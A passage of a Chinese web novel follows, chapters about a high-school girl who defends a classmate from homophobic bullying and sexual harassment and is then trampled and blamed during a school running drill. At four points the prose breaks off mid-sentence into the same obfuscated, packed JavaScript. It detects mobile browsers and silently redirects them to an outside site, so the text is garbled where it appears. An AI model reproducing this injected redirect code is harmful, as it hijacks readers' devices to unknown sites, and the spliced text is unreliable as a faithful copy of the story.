乔殊羽的脚步不由得放慢了些,望向那个此刻空落落的角落,林家望也顺势望去,却又匆匆收回目光。 想必他一定很不愿意去回忆,乔殊羽欲盖弥彰地清了清喉咙,上楼的步伐加快了几分。 直到来到四楼走廊,乔殊羽松开手,她看着林家望,想说些什么,又开不了口。 别人顺口的一句礼貌,在她这里成了天大的难题。 “拜拜。”最后她说。 林家望点点头,她便回身朝教室走去,大概知道他在背后看着自己,连脚步都变得混乱,仿佛一瞬回退成蹒跚学步的婴儿。 教室的前后门都已被关上,乔殊羽小心翼翼地按下门把手,推开不过几厘米,依然拗不住有些生锈的门框发出巨大的“吱呀”声。 这番动静在安静的教室里分外突兀,一瞬间,不少同学的目光都朝这处瞥来。 乔殊羽尴尬难当地低着头,干脆一把将门推开又阖上,小跑着回到了座位。 “都几点了!”今晚值日的数学老师忍不住说了一句。 乔殊羽抬头看向他,又匆匆低下,心中全无被训斥的不安和愤懑,甚至……有那么一丝宽慰。 她短暂地存在了几秒。 坐下还不到半小时,下课铃声便匆匆响起。数学老师还在台上收拾着东西,台下就炸开了锅。 大部分是在对作业,也有的是在续上自习课上没说完的话,这会儿终于不必传纸条和压低嗓子了,他们的脸上看起来很是畅快。 “你知道吗,我今晚吃完饭去小卖部,看见隔壁班的娘娘腔在买那个。”男生意味深长地一挑眉。 “哪个哪个?”有人问。 “不会是……”有人做了个下/流的手势。 “怎么可能啊,小卖部能卖那个?”男生推了下对方,“更何况,他买了有人陪他用吗,回家吹气球?” “那是什么啊。” “对啊,快说啊。”有人不满他卖关子。 “就是、就是那个啊!”男生尴尬地做着手势,竟不知该如何比划,“就是……女生用的那个,每个月啊,那什么的时候。” “我靠!” “他买那个干什么?” “我也不知道。”见他人惊讶的反应,男生很是满意,一摊手道,“难道是心理变/态?” “他不会真的是女的吧,女扮男装?” “你们有人在厕所看过他的那个吗?” “没有,他好像都是去隔间上……操!真的是个娘儿们啊!” “屁,他们班有人看过。”比他们多了些信息的男生,看起来颇为得意,“还有人在他尿的时候故意来了记爆栗,给他吓得尿不出来了。” 一阵几欲掀破天花板的笑声在三人间炸开,引来了周围人的侧目。 其中一位笑到前仰后合,还不忘上气不接下气道:“那他……他该不会是,萎……萎了,然后就……决定彻底做个女的吧。” “我靠,真是个变/态,恶心死了。” “那他以后是找男的还是找女的啊?” “他不是跟我们班……”男生说着,顺势回头看去,又生生止住了话头—— 此刻远离人群,端坐在原位的乔殊羽,正一眨不眨地看着他,面目冷冽到有如鬼魅,令他不自觉打了个寒颤。 “操。”男生低骂了一句,回头望向另两人,“声音小点,她看着呢。” 二人小心翼翼地用余光飘向她,又吓得速速收回。原本面对面的三人,默契地一齐面向前方,给她徒留三个背影。 乔殊羽低下头,才留意到刚刚一直握在手里的笔,在作业本上戳出了一个洞,贯穿了近十页纸。 第二节晚自习的上课铃响起,班里的声响渐止,只是没了老师的监督,讲小话的声音始终未绝。 乔殊羽没什么心思写作业,扭头看向黑漆漆一片的窗外。空中没有一粒星,从这个角度甚至都看不到月亮,唯有屋内的光亮映在玻璃上,她的脸看起来无比丧气。 又是没能在自习课上完成作业的一天,还得回家麻烦李亦梅继续借她手机搜题。 李亦梅总以为她搜题是对学习好,觉得她好学,觉得她在自己课外拓展,觉得可能网上讲得更清楚。 而李亦梅不知道的是,乔殊羽几乎没心思看解析,只是机械地将答案从屏幕誊到纸上。 每每李亦梅将手机递给她,满眼欣慰时,乔殊羽都不敢看她的眼。 背上比其他人都要鼓囊的书包,乔殊羽快步走出了教室,这次她没有拖延到最后,她—— 她承认,她有点想看到林家望。 可能是为了那句没出口的“谢谢”,也可能是—— 她的思绪被猝然打断,她确实看到林家望了。 “那个呢,那个在哪儿?”带头的男生推了林家望一把,“不会已经垫上了吧?” “在这里?来来来给我们开开眼。”另一个男生干脆伸手探向他下面。 林家望被迫弓着腰频频后退,躲避他伸来的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040915|178769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 在这稍显拥挤的走廊上,有人匆匆路过,有人驻足停留,脸上要么是嫌恶,要么满是看热闹的笑。 “躲什么呀,死娘炮,真跑去当女的啦?”有个男生揪住他的领子,强行将他拽了回来。 林家望无措地垂下双手,捂着自己的裆/部,头深深低着,棘突几欲刺破脆弱的皮肤。 “这怂样,真像个娘儿们。”男生调笑着拍拍他的脸颊,“裤子脱了给咱们展示展示嘛。” “对啊,快脱。”又有人干脆伸手试图去扒他的裤腰。 “不会是真的吧?” “刘刚也说看到他买了。” “噫,好恶心哦……” …… 驻足的群众开始交头接耳,有男有女,异常团结。 就在那人当真扒下了一小截裤腰,露出了少许内/裤边时,有什么东西猝然拍到了他的胸口。 待他看清那是什么时,惊得往后退开了好几步。 “想要?”乔殊羽又取出一片卫生巾,拍在了另一个男生的胸口,“送你?” “操。”男生困窘到整张脸皱起,躲瘟疫般不断后退。 两片卫生巾轻飘飘落了地,没人敢靠近半步,神情复杂地看着它,连窃窃私语声都骤然停止。 原本拥挤的走廊,就这么被开辟出一小块空地,乔殊羽弯腰捡起一片,上前揪起一个男生的领口,强行将它塞了进去。 “操!神经病啊,干嘛啊!”男生瞬间跳起难看的霹雳舞,又蹦又抖,直到卫生巾从衣服里掉出,还分外嫌弃地拍拍衣服。 “不是好奇吗,不是想看吗?”乔殊羽将目光移向另一位,微笑着用食指勾住他的腰袢,“要我教你怎么用吗,帮你垫上?” 说着,她象征性地向下拉了拉。对方吓得赶忙弯下腰,神色慌张地努力提着裤腰。 望着二人的狼狈模样,乔殊羽嗤笑一声,收回手,嫌弃地甩了两下。 “妈的,快走。”刚刚获得的自由的那位,果断拽过另一位,踉跄着往楼梯口冲去,“她就是个疯子。” 一片卫生巾就能让两个男生吓得屁滚尿流,想来在必要时刻,往头上贴一片这个还能避避邪。 面对周围人异样的眼光,乔殊羽神色泰然地捡起地上那两片,丢回了塑料袋里。 没料到卫生巾的威力依然未减,纵使地上已经干净了,也没人敢涉足那一小块区域,多吃力都要绕开。 望着他们惊惶的眼,有那么一瞬间,乔殊羽很想把刚刚的行为,在每个人身上都故技重施一遍。 不过最终,她还是按住了自己恶劣的小心思。 她还有更重要的事要做。 “我们走吧。” 她抓过林家望的手腕,头也不回地径直向前。 13. 第 13 章 眼睛和嘴巴长在别人脸上,他们爱看就看,爱说就说吧。 乔殊羽已经什么都不想去管了,她抓着林家望的手腕,一往无前地迈步。 周围的人自觉给她让开了一条道,足够她顺畅地前行,也足够她清楚地被人围观。 她的脚步太快,又仓促到失了节奏,身边的人显然有些跟不上,一路跌跌撞撞的。 只是她心里总是憋着一股气,没地儿发泄,憋闷到也不愿去考虑林家望的感受。 直到走出教学楼,离开那些刚刚围观的人群,乔殊羽这才松开手,也有余裕看向林家望。 他的双唇抿成一条直线,纵使一并停住脚步,也依然目不转睛地直视前方,没有同她对视的打算。那双素来莹润的眼,看上去却比以往还要潮湿几分。 “喂……”乔殊羽轻轻唤了他一声,歪着脑袋想去看他的正脸,却见他沉默着别过了脸。 乔殊羽的执拗劲儿忽然就上来了,不依不饶地走到林家望面前,想要一探究竟。 偏偏他始终不肯把正脸给她,脚下还有出逃的冲动。 就在他准备走开的瞬间,乔殊羽一手按住他的肩膀,一手捏住他的下巴,强行让他面向自己。 她的力气有些大,捏得林家望被迫微张着嘴,瞳孔虽然逃避着她的目光,却还是被她精准捕捉到眼底的红意。 “你……哭啦?”显然是句没意义的明知故问。 林家望眉头微拧,抬手扣住她的手腕。刚握住时稍稍用了力,末了换作轻轻搭在上面,板着脸摇了摇头,代表着一种不满。 乔殊羽赶忙收回手,可怜那过于娇嫩的皮肤,还是留下了一道鲜明的红痕。 “不好意思。”乔殊羽忽然有些不敢面对他,“怪我,不该让你帮我去买的。” “不怪你。”林家望几乎是即刻应了声,声音又急又快,过了少顷,又恢复从前的语气,莫名重复了一遍,“不怪你。” 乔殊羽的心稍微放下了几分,用余光小心翼翼地打量着他:“那你……” 夜风微凉,林家望轻轻吸了吸鼻子,笑得有些尴尬:“我只是觉得……有点丢脸。” 在众目睽睽之下被羞/辱,纵使再厚脸皮的人,也会觉得难堪吧。 至于她所谓的解围,不过是帮他脱了困,没能挽回半点他的颜面。 或许她该安慰几句,偏偏嘴拙如乔殊羽,张了张口却只是灌了自己一嘴冷风。 “可能是因为被你看到了。”林家望望着茫茫的夜色,近乎自言自语地开了口。 乔殊羽惊讶地扭头看向他,舔了舔干涩的嘴唇,像是急着证明什么般开口道:“我觉得,丢脸的是他们。你没有错,我也不会因此看不起你。” 林家望终于回头望向她,淡淡笑了一下。 这个笑浅到像是微风拂面,却莫名吹烫了乔殊羽的脸颊。 感谢黑暗,她想。 二人默契地一道朝车棚那处走去,林家望开口道:“我忽然觉得,你和我姐有点像。” 倒没想过他还有个姐姐,听他的语气,那位应该不似他一般懦弱。 乔殊羽随口道:“你姐是什么样?” 林家望眨了眨眼,似乎陷入了回忆里:“有时候会对我很凶,但其实是刀子嘴豆腐心。” 乔殊羽没忍住笑出了声:“那你猜错了,我是刀子嘴刀子心。” 每次她开口贬责时,都是真的在嫌弃林家望的软弱,她可没心思搞什么心口不一。 林家望顿了几秒似是在思考,而后,面上现出少有的执拗:“我觉得我没有想错。” 乔殊羽忽然发现,这个人某些时刻还挺轴的,他还能比她自己更了解她不成? 不过乔殊羽懒得同他辩驳,随口道:“你姐不管么?” “管什么?” “你成天在学校里挨揍啊。” 虽然乔殊羽是独生女,但她想,如果自己有一个亲生的兄弟姐妹,她必然不能容忍对方受欺凌。 林家望摇摇头:“我姐嫁到了外地,我们已经很多年没见面了。” “这样。”乔殊羽不知该说些什么,只能附和了一句。 话题被生生打断,幸而两人已经走到车棚,手里有了事要做。 学生们基本走得差不多了,紧挨着的两班车棚里,只剩下两辆车。一辆是乔殊羽的黑色山地车,还有一辆—— 乔殊羽扭头望向那辆稍显小巧的水蓝色休闲自行车。 “我姐留下的。”林家望有些尴尬地解开车锁,“他们都说只有女生才骑这个。” “瞎扯,这上面又没刻着性别。”乔殊羽摇摇头,“就是,对你来说好像有点小。” 乔殊羽一坐上自己的车,只能脚尖点地,而林家望坐上去,怕是两膝都屈着,蹬起来应该挺费力。 “因为当初是按我姐的身高买的。”校内禁止骑车,他同乔殊羽一道推车走向校门口,“其实初中给我骑挺合适的,不过上高中后,我蹿了七八厘米。” “你可以找个修车摊,把座椅的高度调高些。”乔殊羽建议道。 林家望听得很认真:“谢谢。” 乔殊羽不太习惯他这么有礼貌,点点头权当回应。 乔殊羽没猜错,一出校门,骑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040916|178769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上车的林家望整个人缩手缩脚的,有点儿像在骑玩具车,歪歪扭扭地向前。 可怜乔殊羽蹬一步,滑十步,挡位都没调到顶速,还是得时常回头望他。 林家望端端正正地坐在车上,蹬得很悠哉,不知道的还以为在闲逛看风景。 “那个,我先回去了啊,作业还有一堆没写完呢。”乔殊羽终于失去了耐心。 “好,拜拜——”林家望提高些嗓音,应着没等到回应,就已经骑远的她。 夜风习习,时有汽车呼啸而过。而他慢悠悠地蹬着车,甚至超不过脚步匆匆的路人。 这车有些年头了,好几处都上了锈,骑快点只怕会散架。刚刚她的建议应该是个好主意,至少不会骑得这么累。 自打姐姐远嫁他乡后,家里关于她的痕迹就在逐日减少。 这车本来也该扔的,林家望没舍得,因为他总能想起姐姐骑着它,载着自己的时光。 而让它留下来的唯一办法,就是把它派上用场。他拒绝了父母给自己买新车的打算,骑着它上学放学。 虽然总被说只有女生才骑这种车,开始林家望有些抗拒,但后来他想通了,就算不骑它,也照样会被骂“娘炮”。 几句谩骂,远不如保留姐姐的东西重要。 - 乔殊羽回到家时,餐桌上如往常那般放着一盘切好的水果,昨天是火龙果,今天是猕猴桃。 家里虽然还欠着债,但她的生活质量没有被任何克扣。那些钱全部省在了李亦梅身上,缝缝补补的衣服,寒酸的三餐,显著降级的护肤品。 “囡囡,回来啦。”李亦梅忙不迭地帮着她取下书包。 “嗯。”乔殊羽躲避着她的目光,想着把一盘水果端进卧室再吃时,还是被李亦梅拦了下来。 “你的脸怎么了?”李亦梅双手按着她的肩,凑近了些拧眉端详着,“怎么擦伤了,痛不痛?” “不小心摔了一跤,没什么感觉。”乔殊羽挣开她的手,退后几步让开了距离。 偏偏李亦梅又快步向前,反反复复看着她的脸,眼里满是心疼:“怎么这么不小心啊,真的不疼吗?” 其实祁笙下手不算重,乔殊羽也算尽力护住了自己的脸,然而在李亦梅眼里,好像是什么了不得的伤口似的,可劲儿地嘘寒问暖。 乔殊羽仰头避开她试图碰触的手,挤了个勉强的笑:“真没事儿,妈,你放心。” 李亦梅没再靠近,但依然定定地望着她,眼里除了担忧,又生出了少许复杂情绪。 半晌后,李亦梅叹了口气:“囡囡,学校是不是有人欺负你?” 14. 第 14 章 母亲的可怕直觉令乔殊羽背后一凉,她慌忙摇头道:“怎么可能,谁敢欺负我啊。” 显然,李亦梅对此不太相信,此刻她的眼神,就像看乔殊羽小时候撒谎作业写完了一样。 知女莫若母,到底是身上掉下来的骨肉,有些自以为高明的谎言,不过是另一方不愿拆穿罢了。 包括这次。 她抬手轻轻揉了揉乔殊羽的头发,苦笑道:“那要是有人胆大包天欺负你,一定要告诉妈妈。” 乔殊羽不住点头道:“当然。” ——当然不会告诉了。 连老师也不愿管的事,告诉有什么用。 毕竟没有人违法,他们只是在执行正义罢了。 从前就算被家暴后,没几日又能笑盈盈的李亦梅,这些日子里,愁容仿佛镶在了脸上,再怎么笑,看着也状似哭。 而乔殊羽不想在她的脸上多刻一道痕。 - 洗澡前,乔殊羽赤/条/条地站在镜子前望着自己。 书里总爱把青春期少女的胴/体描写得格外美好,而她没有窈窕的曲线、滑腻的肌肤,有的只是不够小巧的骨架,根根毕现的肋骨,消了又增的伤痕。 那一拳一脚透过早秋单薄的衣衫,最终留下了大片青紫色伤痕,有浅有深,像一副别样的泼墨山水画。 乔殊羽抬手捂住小腹,那里是她的脆弱根源。而它此刻仍在运作,传来一阵阵钝痛。 她忽然猛按了一下,一瞬间疼到龇牙咧嘴,末了,又恶作剧地笑了。 洗完澡,满是倦意的乔殊羽迫不及待地钻进被窝。被子显然被晒过了,洋溢着太阳的味道,她躺在里面,耐心地将被子严丝合缝地裹住了自己。 “啪”一声按灭顶灯,她陷入了万籁俱寂的黑暗中。阖上眼、陷入睡眠的前一刻,她脑子里闪过的是林家望骑着小一号自行车的滑稽模样。 很好笑的画面,希望能借此做个好梦。 - 好梦是没有做成,不过一夜无梦已经是最好的结果了。乔殊羽按灭闹钟,不情不愿地坐起,疼痛随着她稀疏平常的动作骤然炸开。 不止是痛经,还有昨天已经没什么感觉的伤痕,一早忽然卷土重来,逼迫她回想那顿拳打脚踢。 生命在于运动,而运动俨然成了折磨。站起坐下、每次迈步、当然还有骑车,每一个动作都疼到她头脑“嗡嗡”作响。 等乔殊羽赶到学校,显然已经迟到了。迟一分钟和十分钟并没有太大差别,她干脆慢悠悠地推着车走向车棚。 好不容易在犄角旮旯找了个位置将车塞进去,离开车棚时,乔殊羽鬼使神差地望了眼12班的车棚。 水蓝色的自行车看起来很干净,除了转轴处的斑斑锈痕,其他地方基本看不出岁月的痕迹。 而它的座垫,被抬高了好大一截。 快要和把手齐平的座椅,在这种休闲自行车上看来属实有些怪异。乔殊羽不由得笑出了声,可怜一笑带动了周身的疼痛,她一边咬着牙根,一边还是忍不住看向那辆自行车的滑稽模样。 他骑上去会是什么样呢,乔殊羽一边想,一边含笑往教学楼走。 要是有教导主任路过,必然会狠狠批评她的思想觉悟,已经迟到了,居然还笑得出来。 可谁让林家望就是那么好笑的一个人呢。 不是嘲笑。 而是一想到他,就忍不住乐开了怀。 今天值早读的是班主任,还在走廊,便能听见教室内的朗朗读书声。 乔殊羽轻手轻脚地从后门进去,好巧不巧,和巡逻到后排的班主任打了个照面。 四目相对间,依然是默契地一道别开,班主任抬手拍了拍一位同学的肩:“声音大点。” “声音大点。”乔殊羽用只有她自己能听见的音量,小声嘟囔了一句。 每天来上学,成了一个开盲盒般的存在,看看自己的桌上,又被留下了什么新印记。 但今天,乔殊羽细细研究了自己的桌面数遍,却发现上面没再写什么新的字。 凳子也是干净的,抽屉里遗留下的作业本也完好无损,她难以置信地检查了数遍,终于确认了这一点。 是昨晚的事,让祁笙泄愤了吗。 只是挨一顿打,和每天被搞破坏,乔殊羽竟分不出哪个更好些。 在干干净净的英语课本上,她又看见了祁笙的脸。瘦削到凹陷的脸颊,有些成绺的齐刘海,圆溜溜的大眼睛,里面盈满了恨意。 她猝然打了个寒颤,匆匆翻了一页。 每天上午的大课间,是乔殊羽最讨厌的时分。 铃声一响,班主任准时赶到班内。所有同学懒散地向门外涌去,乔殊羽盘算着去天台躲一躲时,却见班主任拍着手催赶着众人:“最近学校严抓跑操缺席情况,只要你没缺胳膊少腿,都给我下楼去跑。” 此话一出,原本赖在座位上的同学也都陆陆续续起身,乔殊羽无奈,只能跟上了众人的步伐。 几年前,校领导特地去外省某知名高中观摩学习了跑操,并且在二中如法炮制。 所有学生对此叫苦不迭,甚至还因此发生过几起并不严重的踩踏事故,然而学校从未放弃跑操,仿佛外校成绩好就因为他们天天跑操似的。 而乔殊羽其实并不讨厌跑步,讨厌的是所有人挤在一起跑步。 这学期以来,乔殊羽参加跑操的次数屈指可数,绝大多数时刻都是能逃则逃。出勤的次数太少,以至于当她走进队伍时,引来了一阵讶异的侧目。 班级列队共分为七排,女生三排男生四排,个高的她排在了女生的最后一排,身后则是四排男生。 本就是群体之外的她,却被迫塞进了群体中间,显得是那么格格不入。 列队完毕,还要进行十分钟的大声朗读,这也是校领导从外校学来的。 今天是个大雾天,已近十点雾还没散尽,也不知在户外吸着雾又读又跑,对学习和健康有多大帮助。这么看来,校领导比一些热恋中的小情侣更加追求仪式感。 好在其他同学的声音够大,乔殊羽就算默读,也能隐匿其中。 倒也不全是读书的声音。 “啧”“噫”“嘁”…… 有短有长的各个语气词,时不时自耳边冒出。 乔殊羽觉得自己很没用,一个多月了,竟还没能完全习惯这些声音。 纵使面上毫无波澜,心里还是会不受控地刮起风浪。 她强迫自己把全副心思贯注在书上,指尖滑向下一个单词。 “Outsider.”她轻声念道。 最折磨人的不是读书,而是合上书本的下一刻。 本就拥挤的队伍被迫贴得更近,所有人双手握拳贴在胸前,也同时抵着前面同学的背。 贴得这么近并无什么科学依据,纯粹是为了远看整齐些。至于跑起来的不适和潜藏的危险,那都不重要。 肩胛骨被后排的男生抵住,乔殊羽也一并握拳举起,预备着哨声。 “别碰我!”前排的女生厌恶地开口道。 有人顺势向这处望来,乔殊羽握着拳无所适从。靠前会挨到前面的女生,靠后的话,胳膊肘又会抵到后面的男生。 前后左右都是人,她被团团围困在中间,压抑到几近喘不过气。 前排的女生再度不满地一耸肩,乔殊羽张了张口,想说句“抱歉”,最终还是没开口。 她不觉得自己对不起那个女生。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040917|178769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声哨响,全校上千名学生齐齐开始跑动,口里喊着震天的口号,好不壮观。 乔殊羽小步小步地随着队伍跑着,后排的男生有规律地击打着她的背,前排女生扬起的马尾一遍遍扫过她的脸,左右两位还挤着她的肩。 她绝望地仰头看去,才刚刚跑了一百米不到。 一共要跑两圈,八百米。乔殊羽想象着自己是一个物件,在努力适应这件巨大的、不断变幻的容器。 跑步成了一件让人紧张的事,她像是陷入了滚滚海浪之中,甚至都不能随波逐流。 又是一个拐弯,领跑员开始喊起新一轮口号。 乔殊羽听着慷慨激昂的口号,迈着无措的步子,刚欲开口跟读,膝弯忽然被后排男生的膝盖猛然一撞。 本能让她一瞬间向地上跪去,视线从一排排发顶,猝然坠向腰际。 前排的人被她撞到前倾,后排的人收不住步子,多米诺骨牌般向她倒来。 一阵阵尖叫传来,前排的女生们四散,原本跪倒的她没了支撑,径直向前倾倒。后排的男生重重砸向她的后背,一下、又一下,她试图撑起身体的手,不知被谁的脚踏过,带来不亚于拶刑之痛。 乔殊羽茫然地伏倒在地,周围喧哗四起,传到耳中却只是“嗡嗡”一片。视野里是放大的塑胶跑道,一片混沌的红。背上的撞击一阵阵传来,几乎要将她拍进地底,呼吸逐渐成了一种奢侈的东西,让她胸口发紧头脑发昏。 有那么一瞬间,乔殊羽错觉自己已经到了黄泉之境,那里看上去一派光亮,美好胜过人间。 但下一秒,她还是被发派了回来。 比视力更先恢复的是听觉,扩音喇叭里传来年级主任的高声训斥,班主任也在尖声责问她,还有那数不清的议论声,密匝匝涌来。 她好像以一己之力,扰乱了整个年级的跑操,真够了不起的。 乔殊羽挣扎着坐起,眼前炫目的白光逐渐散去,她看了眼手上的半截鞋印,随意从脸上拍下几粒塑胶颗粒。四肢百骸的疼痛在淡开,便显得某一处更加鲜明。 周围的议论声里,似乎夹杂了些意味不明的声音。乔殊羽费劲地换了个坐姿,感觉那片潮湿似乎有扩大的迹象。 她低头看向深蓝色的牛仔裤,心下一沉。 “你来那个了是不是?”班主任走向她,俯身压低嗓音道。 “嗯。”乔殊羽点点头。 “不能跑就不要跑啊!”班主任陡然提高声音,“看看你把队伍搞成了什么样子,整个年级都被你连累了!” 乔殊羽想起班主任之前的话,她只是生理期,显然没到“缺胳膊少腿”的境地。 但反驳盛怒之下的老师并不是件明智的事,为了不让怒火扩大,正确的做法是—— “老师,我错了。” “11班,听到没有,11班!留下来罚跑五圈!”年级主任着急的吼声再度从扩音喇叭传出,在操场上空久久回荡。 “滚回教室去,回头给我写一万字检讨。”班主任嫌恶地一摆手,直起身望向其他同学,“来来来,大家把队伍再排好。” 为了腾出位置,乔殊羽忍痛坐起,一瘸一拐地顺着散场的人群向外走去。 上千人都看到了这一幕,落在她身上的目光比之前要多得多,她的脸,她脏兮兮的上衣,和她…… 乔殊羽不由得将衣角向下拽了拽。 她已经学会了屏蔽一切人群,只看着自己脚下的路。 然而除了白色的鞋尖,和红色的跑道,之中忽然出现一件浅卡其色的衬衫外套,颜色温和到软化了周遭的一切。 乔殊羽茫然地抬头望去,林家望轻轻晃了晃手上的外套:“你的衣服好像弄脏了,要不要稍微挡一挡?” 15. 第 15 章 乔殊羽盯着外套犹豫少顷,还是将它接过,围在了腰际。 此刻的林家望,只穿着一件薄薄的短袖T恤。纵使秋老虎余威未散,但偏巧今天是个阴天,阳光被挡了个严实,只有阴恻恻的秋风刮个不停。 “你冷吗?”乔殊羽略带歉意地问道。 “不会啊。”林家望摇摇头,“我不怕冷。” 皮肤太白,便显得冻出的那片鸡皮疙瘩有几分鲜明。似是察觉到她的目光,林家望不自在地试图背过手臂,她笑笑,抬头望向前方。 “刚刚……我看到你摔倒了,还好吗?”林家望犹豫着问道。 自然说不上好,但比起其他事来说,倒也没有不好到难以承受。 乔殊羽一耸肩:“没事啊。” “真的不要紧吗?”林家望关切地望着她脸上的擦伤,“人太多我看不太清,但听别人说,好像挺严重的。” “听别人说?”乔殊羽嗤笑了一声,“别人的话有什么好听的。” 林家望喉结一滚,若有所思地一颔首:“那我信你的。” “不是信我的,是信你看到的。” 此话一出,林家望当真细致地望向她,直看得乔殊羽颇为不自在,觉得自己说了句错话。 “那按我看到的,我觉得还挺严重的。”林家望说得一本正经。 “严重吗?”乔殊羽茫然地摸了摸脸颊,其实脸上除了跑道硌得有些疼,倒并没受什么伤。听他一说,她有些紧张,“毁容了?” “没有没有。”林家望赶忙摇摇头,“我只是觉得,看起来挺疼的。” “这么一想,看到的也不完全可信。”乔殊羽说着,随意拍了拍脸上的浮灰,“没你想的那么疼。” “哎、哎——” 她一抬手,林家望忽然慌张地开了口,直说得乔殊羽有点懵:“怎么了?” “你……轻点。” 乔殊羽怔了一下,才意识到他指的是什么,忍不住笑出了声。 这个人的痛觉神经长得有点奇怪,被人欺负时,被她用力按上伤口时,一副隐忍的模样。偏偏每次当她随意处置她自己的伤口时,都能疼到他唤出声。 笑着笑着,乔殊羽忽然发现他今天有点特别,后脑向来乖顺的黑发,今天却乱蓬蓬地四处支起。 这过分不羁的发型,和他那张人畜无害的脸未免不太匹配。 “你今天是不是起迟了,没有梳头?”乔殊羽笑道。 “啊。”林家望茫然地按了按后脑的头发,“……被人拽了几下。” 见他半天也理不对位置,乔殊羽打掉他的手:“我来。” 林家望听话地垂下手,站在原地,望向前方的眼眨个不停,暴露了他细微的紧张。 乔殊羽将四根手指插/入他蓬松的发中,像梳子那般梳下。平日里她也这么理过自己的头发,只是林家望的头发太短,一瞬间就滑到了尾,有种特别的感觉。 他的发质有些软,像绸缎一样短促地蹭过她的手指。表面被风吹到微凉,贴着头皮的内里却是一片温暖,指尖顺着头皮一路滑到后颈,拂过那刚刚冒出的青茬,又是别样的感受。 刚刚还乱蓬蓬的头发,很快便被理顺了,顺着他圆圆的后脑勺,弯成一个好看的弧度。 乔殊羽看着看着,忽然起了恶作剧的心,在他问“好了吗”的时候,贪心地又抓了两下,才应了声“好了”。 没办法,他的头发手感太好,摸在手里有如小猫皮毛般顺滑,令人着迷到只想多摸几下。 闻声,林家望抬手摸了摸自己的后脑,眉心不知不觉打起了结:“真的好了吗?” 乔殊羽故作若无其事地看向天空:“好了啊。” 少顷沉默后,林家望无奈地笑了:“……你骗我呀。” 被拆穿的乔殊羽脸颊有几分发烫,她却故意板着脸,赶忙伸手认认真真理顺了他的头发:“这次真的好了。” “嗯。”林家望点点头,“谢谢你。” 等到各自回了班,乔殊羽将环在腰上的外套轻轻解开。 纯棉的质地摸起来又柔又软,鬼使神差地,她低头轻轻吸了吸鼻子,是熟悉的清新皂香。 抬起头的那一霎,望着黑板上未擦净的数字,乔殊羽怀疑自己刚刚可能短暂地被什么东西附身了。 她避之唯恐不及地将外套塞进桌肚,虽然知道没有人会看到,依然有一种被抓包的慌张。 等到冷静下来,乔殊羽还是将它扯出,稍稍抖平整些,用不算娴熟的手法将它叠好,放在了旁边的空凳子上。 上课铃声响了足有五分钟后,被罚跑的同学才垂头丧气地回班。几乎所有人的进门都伴着一声埋怨或唾骂,响亮到没有任何克制。 “烦死了,都怪她。” “凭什么她不跑啊。” “跟她在一个班就是倒霉。” …… 这些往日只存在于窃窃私语中的话,清晰地在教室上空回荡。眼神像飞刀般自四面八方射/来,乔殊羽全程面无表情地坐在原地,等待着英语课的开始。 “操!你不能跑就不要跑啊,还把老子绊了一跤,又罚跑五圈。”列队时站在她正后排的男生也回到了班里,经过她身边时,颇为不满地喊了一句。 乔殊羽抬头望向他,语气平淡道:“是你先撞到我的腿,我才会摔倒的。” 像是没想到她会回应,男生说完便往自己的座位走。闻声,他生生停住了脚步,刚刚满脸的厌恶,这会儿夹杂了几分惊讶和忌惮。 但在众目睽睽之下,自然不能露怯得太明显,他梗着脖子道:“我又不是故意的!” “对,你不是故意的。”乔殊羽一拍桌子起了身,声调拔高了几分,似乎不止在和他说话,“难道我就是故意摔倒,故意被你们踩,故意让你们罚跑吗?” 男生明明比她还高了十公分,却被她吓到生生后退了两步,班里原本亢奋的责怪声,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040918|178769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变回了蚊鸣般扰人的低语。 乔殊羽收回目光,预备着坐下,却正好对上了不知何时回班的班主任。 “乔殊羽,你跟我过来!”班主任说着,又以目光平息了班里的喧闹,“大家把昨天没做完的阅读理解往后做,等会上课直接开始评讲。” 此刻的走廊一派寂静,只有别班老师的讲课声隐约回荡。班主任脚踩方根鞋,鞋跟踏在水磨石地面上,响亮而富有节奏。 